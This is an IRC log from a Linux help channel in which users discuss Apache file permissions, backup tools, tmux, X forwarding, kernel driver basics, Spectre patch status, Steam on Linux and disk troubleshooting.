Psi-Jack: no but the other day you were telling me not to have apache or www-data own all of the stuff 05:50 < Psi-Jack> User != Server. 05:50 < Dominian> Psi-Jack: sorted: {hostname}-{now:%Y-%m-%dT%H:%M:%S} 05:50 < Psi-Jack> Dominian: That's the default value of {now} without the :* part. :) 05:51 < Dominian> Psi-Jack: aha! 05:51 < Psi-Jack> hehe 05:51 < Dominian> Psi-Jack: that explains it.. thanks bro 05:51 < Psi-Jack> No problem. 05:51 < ShadeS> ok i'm a bit confused 05:52 < markasoftware> is there any way to set a disk quota that says "you may not use any more data if the disk has below a certain amount of free space"? 05:52 < ShadeS> i should just be looking at the acess log to see what path it's trying to hit 05:52 < markasoftware> or somehow dynamically scale the quota based on the amount of free space available 05:52 < Psi-Jack> ShadeS: Apache httpd is a daemon process. It runs and switches to a running user:group. 05:52 < ericlee> Hi, anyone ever read "Urgent Mechanism" in the book tcp illustrated vol1? 05:54 < ShadeS> Psi-Jack: that makes sense but I just don't know what projectname needs to be owned by right now it's root:root 05:54 < ShadeS> in /var/www/html 05:54 < Psi-Jack> root:root is good for most of it. 05:54 < Psi-Jack> As long as others can read (that is, so www-data can read it) 05:55 < R1olu> ShadeS: html root:root, each project public folder www-data 05:55 < Psi-Jack> R1olu: Wrong 05:55 < syb0rg> markasoftware, have you considered using a separate partition for data storage? 05:55 < R1olu> Psi-Jack: How so 05:55 < markasoftware> that's not really an option here, unfortunately 05:56 < Psi-Jack> R1olu: You do not want the webserver to have write access to program files, only to what it needs for writing to, like caches, tmp, etc. 05:56 < markasoftware> it's a VM and i can't change disk layout like that 05:56 < Psi-Jack> Minimum permissions. 05:56 < R1olu> Psi-Jack: I never said it has to have write permission 05:56 < Psi-Jack> If you make the files owned by the webserver user, you effectively give it write permission. 05:57 < ShadeS> You don't have permission to access / on this server. is what I get still 05:57 < ShadeS> I will have to continue to morrow they are shutting down this $bucks 05:57 < ShadeS> thanks for the hlep guys 05:57 < ShadeS> i will follow up tomorrow 05:58 < R1olu> Psi-Jack: So you don't trust apache with write permissions :p 05:58 < Psi-Jack> Hell no. 05:58 < syb0rg> markasoftware, a loopback filesystem then? 05:58 < R1olu> Then just give it read 05:59 < Psi-Jack> R1olu: Webservers having write access to things it serves is #1 security badness, and the root cause for allowing remote code execution vulnerabilities to self-inject malicious code into the code itself, or add things accordingly. 05:59 < Dominian> Psi-Jack: does it only keep one archive per day, if you run it multiple times a day? 05:59 < Psi-Jack> So, keeping that as minimal as possible helps prevent such things. 05:59 < Psi-Jack> Dominian: With {now} you can make multiple archives. :) 05:59 < Psi-Jack> In a single day. 05:59 < markasoftware> interesting, i never knew about loopback filesystems 06:00 < markasoftware> i think i will just stick with quotas for now though, thanks 06:00 < Dominian> Psi-Jack: hmm it seems to be pruning the previous one... 06:00 < Dominian> I'll keep testing 06:00 < R1olu> Psi-Jack: You're not giving it write though. You could easily just set it to owner by your own user, and www-data for group read 06:00 < DrunkRhino> Ok, so I've got the netbook set up as a thin client kind of deal, and now I'm trying to get chrome running on the netbooks hardware since there's no WM overhead on that particular bit of hardware any more, but ssh -X keeps saying stup failed: xauth key data not generated. 06:00 < Psi-Jack> Dominian: Yeah, you might need to use --keep-minutely, --keep-hourly, and possibly --keep-within 3H for example. 06:01 < Dominian> Psi-Jack: hrm weird 06:01 < Psi-Jack> R1olu: By setting the application files to be OWNED by the same user as the webserver (or fpm/appserver for proxied apps), you give it write permission. 06:01 < R1olu> Psi-Jack: If Apache owning the file, but not having write is a concern, then there are other things you should be concerned about 06:01 < Psi-Jack> R1olu: Wrong again. 06:02 < R1olu> Psi-Jack: Explain then 06:02 < Psi-Jack> The /owner/ of a file can easily change permissions and override permissions. 06:02 < blackflag_bfp> wow using tmux+weechat via ssh for the first time makes for a fun learning curve lol 06:03 < Dominian> Psi-Jack: I guess keeping 'one' archive per day, with multiple backups throughout the day isn't a bad idea 06:03 < Dominian> Psi-Jack: sinc eit dedupes 06:03 < syb0rg> Well markasoftware where is this data coming from? If it is from a specific program that keeps filling your disk, maybe you can configure that program. Otherwise I'm not sure. 06:03 < markasoftware> yeah, it's all good. Thanks 06:04 < R1olu> Psi-Jack: Obviously, but if you're scared Apache is going to give itself write, then you have other things to worry about 06:04 < Psi-Jack> Dominian: Yep. You could sub-name each one, depending on how buggy the daily vs within-daily backups are done. I did notice that just using the --keep-within,minutely,hourly did not play well with daily,weekly-monthly,yearly. 06:04 < Psi-Jack> But, I don't make multiple backups in a day either. :) 06:05 < Psi-Jack> Just nightlies. 06:05 * Dominian nods 06:06 < Dominian> Psi-Jack: I'm uber paranoid :P 06:06 < Psi-Jack> Dominian: For good backups, you should be! 06:06 < Dominian> Psi-Jack: maybe one backup in the morning, then one more at night. 06:06 < Sveta> blackflag_bfp: welcome 06:06 < blackflag_bfp> Sveta: thanks! 06:07 < Psi-Jack> Dominian: With your setup, I almost wonder if borgmatic would help you since it didn't do me well with the minutely,hourly aspect. ;) 06:08 < Dominian> Psi-Jack: I think sestting a basi backup.sh script in cron is fine 06:08 < Psi-Jack> Yep. Or better, a systemd.timer. :) 06:09 < Dominian> yah 06:09 < Psi-Jack> So you can make it email you error logs, and/or journalctl the logs. 06:09 < Dominian> Still testing it right now, about to add my wife's video repo to it to see how it handles it 06:11 < Dominian> Psi-Jack: This is definitely easier than bacula 06:11 < Dominian> lol 06:11 < Psi-Jack> hehehe 06:11 < Psi-Jack> INdeed. 06:11 < Psi-Jack> Dominian: I mean, I only plan to implement Bacula at work because of the LTO system involved. :) 06:11 < Dominian> aye 06:11 < Dominian> don't get me wrong.. bacula is nice 06:11 < Dominian> it does what it does very well 06:12 < Dominian> but holy crap.. it's a lot of setup 06:12 < Psi-Jack> Dominian: Did you ever document the process of setting it up by chance? ;) 06:12 < m1n> hello, I am no old-timer, unfortunately, and so I hail from the time after patches. I like this c program called st, but it is honestly a nightmare for me to store my changes to the program in git (even with patches) and share them across my setups. Does anyone have any tips as to how to minimize the chaos within the realms of git, patches, and a compilable program, such as st? 06:13 < Dominian> Psi-Jack: it's in my head 06:13 < Dominian> :) 06:13 < Dominian> Psi-Jack: the documentation isn't bad 06:13 < Psi-Jack> Dominian: Well, dangit! Document it! Your notes could be helpful. ;_) 06:13 < Dominian> Psi-Jack: basically comes down to definitng you file daemon host, your file stroage.. 06:13 < Dominian> what REALLY threw me... was the 'passwords' for each 06:13 < Dominian> that pissed me off 06:13 < Psi-Jack> hehe 06:13 < Dominian> because it made no damn sense at first 06:13 < Dominian> and defining storage isn't hard 06:14 < Dominian> not sure how a tape drive is named though 06:14 < Dominian> but.. there are ways to autolabel the media etc 06:15 < Psi-Jack> Dominian: Heh yeah. I know some day we're going to need to upgrade to the next LTO's because bigger. :) 06:15 < Psi-Jack> RIght now, I believe we have an old LTO 2 drive (which supports LTO 1), and an LTO 4 (which supports LTO 3) 06:17 < Dominian> Psi-Jack: Well I know you well enough, you pour over the docs to make sure you know it before you install it 06:17 < Dominian> Psi-Jack: but how I really learned.. I just had a 'test' box and a test client.. set it up and ran with it 06:17 < Psi-Jack> Eh, not so much, pouring the docs over so much, but back and fourth as needed. :) 06:17 < Dominian> Psi-Jack: at one point, I had a remote VM backing up to my server at home and a windows machine using the bacula client to push backups.. was pretty slick 06:17 < Psi-Jack> I would have a test box to play with it with though. 06:18 * Dominian nods 06:18 < Psi-Jack> I'm knee deep right now fixing the LDAP and mail server fubar. :) 06:18 < boblamont> I'm getting this error https://paste.linux.community/view/773d5280 when I try to record using fmedia. The processes using sound are https://paste.linux.community/view/bf9a6033 and the hardware is https://paste.linux.community/view/418f80d7. My input is the standard 1/8" in on a mac mini running Lubuntu 17.10. 06:19 < Dominian> Psi-Jack: ahh 06:19 < blackflag_bfp> wow this tmux is pretty great, can just add and name new windows (workspaces). 06:19 < Psi-Jack> blackflag_bfp: YOu can also run multiple sessions, and switch between entire sessions. 06:20 < Psi-Jack> Not just tabs and windows and panels. 06:21 < blackflag_bfp> Psi-Jack: yeah creating a new session and the ctrl+b +s and swap between them. super slick 06:21 < blackflag_bfp> Psi-Jack: but why run multiple sessions when you can just run it in another window? 06:22 < Psi-Jack> blackflag_bfp: When you have many windows open, you'll understand. :) 06:23 < blackflag_bfp> Psi-Jack:lol kk. and I totally dig that you can have more than one machine attached to tmux like I am using my laptop but I can login from my phone and walk away leaving the laptop running 06:24 < blackflag_bfp> Psi-Jack: so do you usually work directly on your box or ssh? also do you spend most your time in a desktop environment or VT 06:25 < Psi-Jack> blackflag_bfp: I use XFCE4+i3wm, and always have a tmux session open, usually multiple. 06:25 < xamithan> Can tmux do touchscreen for switching ? 06:26 * m1n pokes ##linux with a sharp fork 06:26 < Psi-Jack> Since touch screens act as digitizers/mouse, yes. 06:26 < xamithan> You can switch with a mouse?.. 06:26 < blackflag_bfp> so the i3wm runs in xfce4 or you switch between the two 06:26 < Psi-Jack> Yes 06:26 < xamithan> Dang how do I enable that 06:26 < Psi-Jack> blackflag_bfp: I run XFCE4 and it starts i3 06:27 < ericlee> Hi, can http keepalive support different HTTP methods on one stream? 06:27 < xamithan> I might have to switch from screen 06:27 < blackflag_bfp> Psi-Jack:hmm snazzy I will have to make my next project somewthing like that. I curently have gnome and awesome for my debian box and I have to switch between them 06:28 < Psi-Jack> ericlee: No. Of course not. 06:36 < jimm> Stanley00, so sweatsuit5AD5X3 pmed you? 06:36 < Psi-Jack> jimm: Long since handled. :) 06:36 < Psi-Jack> K-lined earlier. 06:37 < jimm> yeah well I'd like to know what happened... ok, he got klined... and, was that what it was? pm on join or something like that/ 06:37 < jimm> ? 06:39 < Psi-Jack> Yep. 06:39 < Psi-Jack> on-join spammer. 06:42 < blackflag_bfp> well right now I am just ssh in with cli only. Have no idea how to forward x or whatever is needed to use a wm over ssh, or if that should even be done. 06:42 < blackflag_bfp> still reseaching 06:42 < xamithan> If the ssh config is already set all you need is the -X flag 06:43 < blackflag_bfp> xamithan: I tried the -X flag and when I tried startx it kicks me so I think its not setup properly 06:44 < xamithan> You just start the software you want to run, not startx 06:44 < syb0rg> In my limited experience X forwarding is laggy and terrible. Is that is a typical experience? 06:44 < blackflag_bfp> xamithan: I believe X forwarding is disabled by default in Openssh 06:44 < jimm> the way you use an x forwarded connection is (not startx but) run the client on the remote you want to display locally 06:44 < xamithan> Yes syb0rg, but there is compression options you can enable to make it better 06:45 < syb0rg> I have found it to become semi-tolerable on LAN with compression xamithan 06:45 < xamithan> Good enough for quick one off programs, anything else I use nomachine 06:45 < Psi-Jack> x2go. 06:45 < jimm> blackflag_bfp, man X would probably make a good read to explain the basics of how X is client/server 06:46 < blackflag_bfp> jimm: hmmm I'm such a noob that I don't completely understand 06:46 < blackflag_bfp> jimm: roger that I will start there, Thanks! 06:46 < Psi-Jack> So much better than all the other crap out there, x2go. Run a desktop, run a single program. 06:51 < blackflag_bfp> Psi-Jack: x2go is a sort of remote desktop? 06:51 < Psi-Jack> Sort of. 06:52 < Psi-Jack> It can tie into an existing running desktop running, that you can connect to remotely, and be used to run x applications over a network securely over an ssh tunnel, as they should be, since X11 protocol is insecure. 06:54 < dongbag> Hi, I want to write a linux driver for some non-standard memory-mapped device; what is the usual way? 06:54 < dongbag> just access through MMAP? 06:55 < Psi-Jack> ##kernel or LKML would likely be a better place to ask such. 06:55 < [R]> dongbag: a userspace driver or a kernel driver? 06:55 < dongbag> Does not matter 06:55 < [R]> well if its user space, then uio and mmap 06:55 < drb1> weechat is giving me some trouble with keybinding. any other alts for terminal irc clients for linux systems? 06:56 < [R]> drb1: irssi 06:56 < Sveta> yes, change weechat keybindings 06:56 < Sveta> ask #weechat for assistance 06:56 < dongbag> I'll check it out thnaks 06:56 < Sveta> they're not hardcoded there... 06:56 < blackflag_bfp> Psi-Jack: that sounds great I'll check it out 06:56 < drb1> Thank you [R] 07:01 < jimm> dongbag, have you ever wrote a linux module or driver before? 07:01 < dongbag> I've written lots of drivers before =) 07:01 < bodom> Hi there! Any ideas on how to read CPU temperature from a server where i can't install additional software? I've tried reading /sys/class/thermal but there are many different values there and none of them seems to be the CPU 07:02 < jimm> ok, good... any linux modules? 07:02 < dongbag> there is a 14% chance you are using one of them right now ;) 07:02 < dongbag> haha not yet 07:02 < dongbag> very shitty ones 07:02 < dongbag> getting my head around it 07:02 < jimm> ok, one way to start is to write a do-nothing module 07:03 < drb1> lol, went to #weechat apparently it's not a weechat problem 07:03 < dongbag> yes, I did one 07:03 < drb1> these people are something else haha 07:03 < dongbag> but... i really just want to flip random bits on a SoC 07:03 < jimm> ok... where are you stuck? 07:03 < dongbag> it seems like drivers are tailored to SPI or PCIe or I2C etc 07:03 < jimm> sounds like you did most of the entry-level stuff 07:04 < dongbag> But a lot of thingss I work w/ are none of those - so I'm curious how people appraoch that 07:04 < [R]> dongbag: what do you want the interface to be 07:04 < jimm> one thing that might be handy, is to get the kernel source from git 07:04 < dongbag> what does that mean? 07:05 < [R]> how do you want to access it? what doy ou want to change? when do you wnt to change it? 07:05 < dongbag> a LKM, just change a bit on a device which is memory-mapped would be a good start 07:06 < [R]> change a bit when 07:06 < dongbag> immidaitly 07:06 < [R]> on load? 07:06 < dongbag> from user-space? 07:06 < dongbag> no 07:06 < dongbag> man maybe i need to read more lol 07:06 < [R]> ok, so what interface do you want user space to use? 07:06 < [R]> do you want like an ioctl? 07:06 < [R]> do you want to just mmap? 07:07 < dongbag> ok, i think I need to read more... bit lost here =0 07:07 < jimm> one thing he's asking, is how do you want the driver to look like from the outside? 07:08 < dongbag> I don't know how to answer that 07:09 < dongbag> but I will look those terms up - I think MMAP is probably what I need 07:09 < dongbag> thank you guys, sorry for the dumb question 07:09 < jimm> ok, good enough... there are a lot of choices... you could look into those, and once you understand them, look at how drivers accomplish them 07:11 < jimm> you've written drivers before... you might want to look at your own work to see how your drivers are viewed from the outside 07:12 < dongbag> I have only worked at a place that writes the OS and the driver in one go, so this linux stuff is new to me 07:12 < dongbag> but yes, these are interesting questions I had not really though about 07:12 < jimm> now's yuour chance :) 07:12 < dongbag> haha, yeah thanks =) 07:13 < jimm> have you used git before? 07:13 < dongbag> yeah, I have the kernel - I guess I need to dig into it more 07:14 < dongbag> I keep googling stuff instead of looking at the code - a bad habit but it's hard to dig in when you don't know what to look for 07:14 < jimm> obviously there' 07:15 < jimm> is going to be repeat information... even so, you might want to look at how things were done in a lot of different cases 07:16 < stevendale> git clone thepillthatmakesyougrowup.git 07:17 < stevendale> If only lyfe was that easy o/ 07:33 < sigmet> if only 07:40 < rosa> I hate graphics ;-; 07:40 < notmike> jimm i need help 07:40 < stevendale> rosa o/ 07:40 < stevendale> That's where Windows excels rosa 07:41 < Psi-Jack> Windows doesn't "excel" at anything but vulnerabilities 07:41 < rosa> https://i.imgur.com/fWtoJgl.jpg https://i.imgur.com/EiitPiH.jpg how do I make this zoom in ;-; 07:41 < syb0rg> stevendale, why did you invoke the name of evil? 07:42 < [R]> windows excels at running excel 07:42 < [R]> i crack myself up 07:42 < stevendale> Psi-Jack: Everything has a fair share of vulnerabilities 07:42 < Psi-Jack> Has Windows even supplied real fixes yet for Intel's Spectre vulnerabilities and Meltdown? 07:43 < [R]> i think they included some half baked stuff 07:43 < Psi-Jack> Answer: No 07:43 < stevendale> Psi-Jack Yep, 7 and up got it ages ago 07:43 < [R]> and then had to pull them? 07:43 < Psi-Jack> No, 7 still hasn't gotten it. 07:43 < syb0rg> Didn't they have fixes, but not apply them by default because of the performance hit? 07:43 < Psi-Jack> Windows 10 fall creator's update got a part of something, but it's not yet compleyte. 07:43 < Psi-Jack> They' 07:44 < Psi-Jack> They're still working with Intel to get a microcode update to do it at the hardware level. heh 07:44 < stevendale> You have to install the 7 fixes manually 07:44 < stevendale> 10 got it through Windows Update 07:44 < Psi-Jack> Well, Windows 10 fall creator's update, but before that. 07:45 < stevendale> Older releases got it through Windows Update 07:45 < stevendale> Everything above 1511 07:46 < Psi-Jack> And it took them, what... 3 months to produce something half-arsed? ;) 07:47 < [R]> Psi-Jack: i think people blame linux 07:47 < sigmet> i forgive linux 07:47 < Psi-Jack> Well, Linux got viable solutions pretty quickly because of Google, actually. 07:47 < sigmet> solutions to what? 07:47 < stevendale> I'm not even patched against it, I'm on XP, I don't care... It's not an exploit that is practical, it requires user interaction through the web browser to be even remotely scalable as an attack 07:48 < Psi-Jack> sigmet: Spectre. 07:48 < sigmet> don't you have to basically be a CIA agent to exploit that? 07:48 < sigmet> old, old backdoor that too many people knew about so they had to expose it? 07:48 < stevendale> Yeah 07:48 < sigmet> lol then who cares 07:48 < syb0rg> don't spy tools get leaked sigmet? =P 07:48 < sigmet> unless you're literally a terrorist 07:49 < jimm> stevendale, it's linux in here... 07:50 < Psi-Jack> There's a lot of effort guaranteed to be going on towards weaponizing the vulnerabilities of Spectre, and Meltdown too, and likely the recent Ryzen/Epyc vulnerabilties recently found as well. 07:50 < stevendale> jimm: Yeah, I know, I'm not causing any harm, so you have no justification to punish me, It's called engaging in friendly discussion while there are no people requiring help around 07:53 < Psi-Jack> When ISP's in Egypt trying to get additional money by secretly injecting cryptocurrency mining scripts into every HTTP (non-HTTPS) website a user browses to... We live in interesting times today. 07:54 < tvm> sounds .. hilarious 07:54 < syb0rg> lol Psi-Jack there are ISPs doing that? Wow. 07:54 < sigmet> wtf really? they can't possibly make much money doing that 07:54 < sigmet> that's amazing wtf is wrong with Egypt 07:54 < sigmet> that's so short-sighted and irresponsible it's insane 07:54 < syb0rg> sigmet, I believe some crypto is efficient when mined by CPU 07:54 < mwd> thats the problem, the cost is zero 07:54 < Psi-Jack> syb0rg: An Egypt ISP using a Sandvine PacketLogic device was doing it to their customers. 07:55 < sigmet> syb0rg but the market price will take that into account 07:55 < mwd> cost 100% offloaded to others, free profit, even if it's only a few k 07:55 < sigmet> i doubt it's even $100 07:55 < mwd> sandvine is an evil company 07:55 < stevendale> TPB does that but there's an announcement on the site saying they do, and that it's in place of NSFW ads 07:55 < syb0rg> maybe sigmet but the market tends to reward a zero cost investment, yes? 07:55 < sigmet> it's not zero cost. that's illegal 07:55 < sigmet> risk 07:56 < mwd> illegal in egypt? 07:56 < syb0rg> yeah, risk. But they must feel confident they have that handled 07:56 < syb0rg> never been to egypt but it's fairly corrupt isn't it? 07:57 < syb0rg> anyway I can agree that I'd rather not have ISPs injecting anything into my traffic, much less miners. 07:58 < Psi-Jack> Worse. It was Telecom Egypt, which own 80% of the communications in Egypt. 07:59 < syb0rg> that sucks lol 07:59 < Psi-Jack> Injecting both ads and cryptocurrency mining javascript into http requests. 07:59 < drb1> anyone know how to disable F11 for the Xfce terminal? 07:59 < drb1> It's not in the prefs menu of terminal 08:00 < sigmet> syb0rg: they must feel that the cost/benefit is worth it. 08:00 < Psi-Jack> drb1: Key bindings configuration 08:01 < sigmet> sorry to be a semantic stickler but i was just pointing out that it's not zero cost 08:01 < drb1> Nope, that only works for non-terminal apps 08:01 < celmor> how do I recover after xorg froze? it seems all GUI application are unkillable, I'm trying to safely shut down but there are many applications that still have various mountpoints open 08:01 < drb1> F11 still goes into full screen in terminal 08:01 < syb0rg> sure sigmet I'll take your word for it, I have no economics/business education 08:01 < drb1> It doesn't do so for non-terminal apps, since I've already done that Psi-Jack 08:05 < linuxbox> welp tried linux mint tonight, what a cluster lol 08:06 < Psi-Jack> drb1: Hmmm.. Dunno. Sorry. :) 08:07 < AndroidKitKat> its relatively easy to partition a drive, make one partition bootable 08:07 < AndroidKitKat> and retain the data on the drive 08:07 < AndroidKitKat> ? 08:08 < AndroidKitKat> bc my bios wont let boot from an sd card 08:08 < Psi-Jack> "because" not "bc" for future self corrections. Yes it does matter. 08:08 < AndroidKitKat> sorry 08:08 < Psi-Jack> You... Already know better :) 08:09 < AndroidKitKat> but i can easily partition my external drive and not mess with the preexisting data? 08:09 < Psi-Jack> Well, that depends on if you have any unpartitioned space to work with or not. 08:10 < AndroidKitKat> its all NTFS, but its only like 500 GB out of 4 TB full 08:10 < xCuri0> How can I tell the kernel not to clear the screen until the TTY / login starts ? 08:10 < Psi-Jack> Then.. You have a chance. 08:10 < AndroidKitKat> only one way to find out 08:10 < xCuri0> Because I want to keep the UEFI logo shown on the screen (which disappears when it gets cleared by the console) 08:10 < Psi-Jack> xCuri0: The kernel... Doesn't clear the script. 08:10 < Psi-Jack> screen* 08:10 < linuxbox> anyone here have much experience with steam on linux without wine? 08:11 < Psi-Jack> linuxbox: Ask questions, not ask to ask questions. 08:11 < xCuri0> Psi-Jack, the screen does get cleared when it hands control over to the initrd 08:11 < Psi-Jack> No. 08:11 < syb0rg> linuxbox, you mean the native linux steam executable right? 08:11 < Psi-Jack> The initrd clears the screen. 08:11 < linuxbox> yah 08:11 < syb0rg> I've used it 08:12 < linuxbox> syb0rg: what flavor of linux were you on at the time? 08:12 < syb0rg> ubuntu 08:12 < xCuri0> Psi-Jack, i have a custom written initrd in C which does nothing but the screen still gets cleared 08:12 < blaztek> linuxbox: what’s the question? 08:12 < Psi-Jack> linuxbox: Ask questions. not ask to ask questions. 08:12 < linuxbox> sorry I just came to get to know folks for now 08:13 < linuxbox> the folks over at ubuntu thought this would be a good place for that 08:14 < xCuri0> Psi-Jack, also i think when the gpu driver is loaded the screen is cleared 08:14 < Psi-Jack> Good possability there, yes. 08:14 < blaztek> linuxbox: Back when I was using steam, I was using Ubuntu 08:14 < linuxbox> blazetek: ah so it's been some time then 08:15 < Psi-Jack> I still use steam from time to time. Got some pretty cool games there. :) 08:15 < blaztek> Yes...about the time Portal 2 came out 08:16 < linuxbox> i haven't been on linux since gnome was the default GUI - i'm tired of the stop code errors in windows so i'm hoping maybe i can compromise and find something in ubuntu that will work 08:17 < Psi-Jack> ... wut? 08:18 < blaztek> linuxbox: just remember, all of the Windows/Linux games that you bought will just work as soon as you’re done downloading. 08:19 < linuxbox> blazetek: you mean to say will not? 08:19 < Psi-Jack> No, he meant what he said. 08:20 < linuxbox> blazetek: say what?!! no I feel like you're trolling me lol 08:20 < blaztek> I mean you won’t have to buy a Linux version 08:20 < blaztek> Just download the game you already own 08:20 < Psi-Jack> If they have a Linux/SteamOS version of it anyway. 08:20 < linuxbox> ah right yeah that'll be cool - i just hope at least 80% of them will work 08:21 < linuxbox> i yearn for a stable OS :( 08:21 < blaztek> Right Psi-Jack , Windows/Linux games 08:21 < Psi-Jack> linuxbox: How about one that doesn't empty your wallet all the time? ;) 08:22 < linuxbox> no doubt! 08:22 < Psi-Jack> Annnnd, on that note. I sleep. :) 08:22 < linuxbox> zomg ubuntu is better than mint already lmao i've got dual screens and what appears to be full resolution and I haven't even installed yet 08:23 < Triffid_Hunter> linuxbox: native steam is ok, if your distro is really up to date you might have to nuke the linux runtime though 08:23 < linuxbox> aww nice chatting Psi-Jack g'nite! 08:23 < linuxbox> Triffid_Hunter: sounds like kind of a pain eh? 08:24 < blaztek> Why’s that Triffid_Hunter? I’m asking out of ignorance 08:24 < Triffid_Hunter> linuxbox: far less of a pain than dealing with any other major OS, at least there *are* solutions available when things get a bit pear-shaped :P 08:25 < Triffid_Hunter> blaztek: because steam provides its own libraries, some of which are so old that they're no longer compatible with system APIs 08:25 < stevendale> o/ 08:25 < blaztek> Oic 08:25 < Triffid_Hunter> blaztek: in that case, simply deleting the stupid steam one usually does the trick as it's then forced to use the system library which is matched to the relevant API 08:25 < stevendale> Who needs Steam help? 08:25 < stevendale> I am your man o/ 08:25 < linuxbox> finally at the point of making some choices again, should i go ahead with the third-party software for graphics etc and turn off secure boot? 08:25 < blaztek> Thank you Triffid_Hunter 08:25 < linuxbox> w00t hi stevendale! lol 08:26 < blaztek> That makes sense 08:26 < linuxbox> and thanks for the heads up Triffid_Hunter 08:26 < Triffid_Hunter> blaztek: from memory, they lifted most of the steam runtime from ubuntu 12 or maybe 14, and things have moved along quite a bit since then 08:26 < Triffid_Hunter> linuxbox: no worries, I love my linux gaming rig ;) 08:26 < stevendale> There's a significant amount of games on Steam for Linux, maybe even more than OS X, and Mac has been supported for over a decade now (since 10.4 PPC/Intel or 10.5) 08:27 < linuxbox> i imagine steam box had something to do with that 08:27 < stevendale> Steam no longer works in Ubuntu 12.04 or Debian 7, due to the outdated libc 08:27 < stevendale> Also, Steam is 64-bit Linux only, as is Chrome, Discord and other stuff 08:28 < halfclip> 2018 is the year of linux on the desktop 08:28 < SuperSeriousCat> Steam needs 32 bit support AFAIK 08:28 < stevendale> I've tried doing a chroot in Debian Wheezy and putting Jessie or Stretch and running Steam in that, but it still didn't work 08:28 < linuxbox> so guys - installing ubuntu fresh do you usually go ahead and choose the option to install third-party software for graphics and turn off secure boot? 08:28 < SuperSeriousCat> Cant install it on a 64bit only kernel 08:28 < [R]> i wish that i was jessies girl... 08:28 < stevendale> SuperSeriousCat It uses the 32-bit packages, yes 08:28 < stevendale> But it only runs on x86_64 kernels/OS 08:29 < stevendale> It runs on win32 though, so does Discord and Chrome 08:29 < Triffid_Hunter> halfclip: lol I've been using linux desktop for over a decade :P 08:29 < linuxbox> steam only runs on 32-bit? 08:29 < blaztek> linuxbox: yes I did because I had an NVidia graphics card 08:29 < stevendale> linuxbox No, 64-bit Linux only, but any arch on Windows 08:30 < linuxbox> stevendale: ah okie 08:30 < Triffid_Hunter> linuxbox: it apparently needs 32 bit libs for some reason, but 64 bit games work fine.. perhaps the client itself is 32 bit? 08:30 < stevendale> Seems kinda silly that things support win32 but not linux32 08:31 < stevendale> linux32 can use up to 3.4 GB per process, so multiprocessing is an easy way round that, since PAE on Linux can handle up to 32 or 64 GB RAM 08:31 < linuxbox> glad to see some folks here that are on steam 08:31 < linuxbox> you guys should join me steam group =) 08:32 < linuxbox> the atari generation 08:32 < stevendale> I prefer to just buy games from GOG 08:32 < stevendale> Because I know GOG games will never kill support for my OS 08:32 < stevendale> o/ 08:32 < blaztek> stevendale: website please? 08:33 < linuxbox> yeh gog is cheap too 08:33 < stevendale> blaztek For what? OwO 08:33 < blaztek> Gog 08:33 < linuxbox> but i'm heavily invested in steam, so it won't be going anywhere 08:33 < stevendale> uhh.. need a moment, this laptop has IE8 and that ain't gonna work with the internet o/ 08:33 < master1> #archlinux #python #i3 08:34 * stevendale opens basilisk 08:34 < stevendale> https://www.gog.com 08:34 < blaztek> Thank you stevendale 08:35 < stevendale> No problem ^.^ 08:35 < Sveta> :) 08:35 < linuxbox> i wonder how much of a headache it'll be to use steam in wine for games that aren't supported 08:35 < stevendale> linuxbox I'd be willing to help o/ 08:36 < blaztek> linuxbox: you’ll be surprised at how well wine works 08:36 < Sveta> i tried using isee with wine, but audio and video did not work 08:37 < blaztek> I want the Battletech game on gog 08:37 < Triffid_Hunter> Sveta: usually means you just have to poke winetricks with some magic 08:37 < Sveta> i thought so too 08:37 < stevendale> My cat just bit me o/ 08:38 < Sveta> i'll ask you about it next time i am at that laptop, Triffid_Hunter, please be around :-) 08:38 < [R]> stevendale: you probably deserved it 08:38 < Triffid_Hunter> Sveta: heh I'm no wine expert, the folks in #steamlug might be more helpful 08:38 < Sveta> hey [R] loves stevendale, thats a new plot twist 08:38 < Sveta> ooh 08:40 < notmike> stevendale: u deserved it 08:40 < linuxbox> i haven't used wine since ubuntu was shipping with gnome by default..several years ago 08:40 < sauvin> notmike, "you", not "u". 08:41 < linuxbox> I think i found some luck with running anarchy online on it at the time 08:41 < linuxbox> sounds like it's gotten a lot better since then eh? 08:43 < Triffid_Hunter> linuxbox: yeah the platinum,gold,silver list on appdb.winehq.org has been nicely filling out recently 08:43 < notmike> Anybody remember ChaOS 08:43 < linuxbox> i had forgotten about that site Triffid_Hunter O.O 08:44 < Triffid_Hunter> notmike: heh, cha is the chinese word for tea (茶) 08:44 < notmike> Its also the Turkish word for tea, the beligan word, Portuguese, ... 08:45 < linuxbox> Triffid_Hunter: what flavor of linux you on and what UI? 08:45 < notmike> more or less 08:45 < linuxbox> i'm thinking about trying cinnamon 08:45 < Li> Are any OSS alternative hypervisor for VMware free ESXi? 08:46 < notmike> openbox 08:47 < stevendale> You mean virtualbox notmike? 08:47 < notmike> y 08:47 < Li> notmike: you're the man < I guess 08:48 < SuperSeriousCat> Li, https://xenserver.org/ 08:49 < notmike> I'm a chick 08:49 < nevodka> I'm a vodka 08:50 < notmike> how is Cardi B famous? like how? 08:54 < Li> how can I find the corresponding /dev/device to recent inserted a usb device? 08:55 < Li> lsusb gave me the id but nowthing lshw 08:55 < linuxbox> stevendale: you should join my steam group bro 08:55 < tomty89> Li: lsusb.py 08:56 < SuperSeriousCat> dmesg after you inserted it also works 08:56 < linuxbox> is it better to install the steam client from the application manager or from the steam site? 08:56 < xgpt> yeah, honest question, I'm having a similar issue, 08:57 < xgpt> I need to figure out why *buntu is mounting a xbox360 controller to use the xpad driver just automagically...but this debian retropi installation I have isn't recognizing this off brand controller? 08:57 < [R]> xgpt: differnet kernel, differnet kernel patcches, etc 08:59 < Dagmar> Greater willingness to communicate with filthy Microsoft hardware 09:04 < xgpt> [R]: yeah, but how do I get this other system to load xpad's driver onto this other USB device? 09:04 < xgpt> and yeah, I honestly thought an xbox controller would be well supported...only some are :P I should have bought a name brand one and it'd be just fine lol 09:04 < xgpt> but it works great with xpad in *buntu 09:04 < xgpt> just not seeing it in this debian 09:04 < [R]> if you modprobe the same driver,a nd it doesnt work 09:04 < [R]> then the kernel that it does work with has been patched 09:05 < [R]> so you'll have to pwatch it in the same way 09:05 < [R]> and/or just newer 09:05 < leonardo98> cfdisk: cannot open /dev/sdb: Read-only file system 09:06 < Dagmar> Oof 09:06 < leonardo98> what can i do 09:06 < Dagmar> You got a low level write error from the disk 09:06 < Dagmar> Reboot 09:06 < [R]> leonardo98: first you would have to ask a question... 09:06 < leonardo98> hdparm -r0 /dev/sdX not working 09:06 < dadada> hi 09:06 * sauvin pwatches [R] 09:06 < Dagmar> The kernel will *refuse* to write to a disk that's coughed back an error 09:06 < 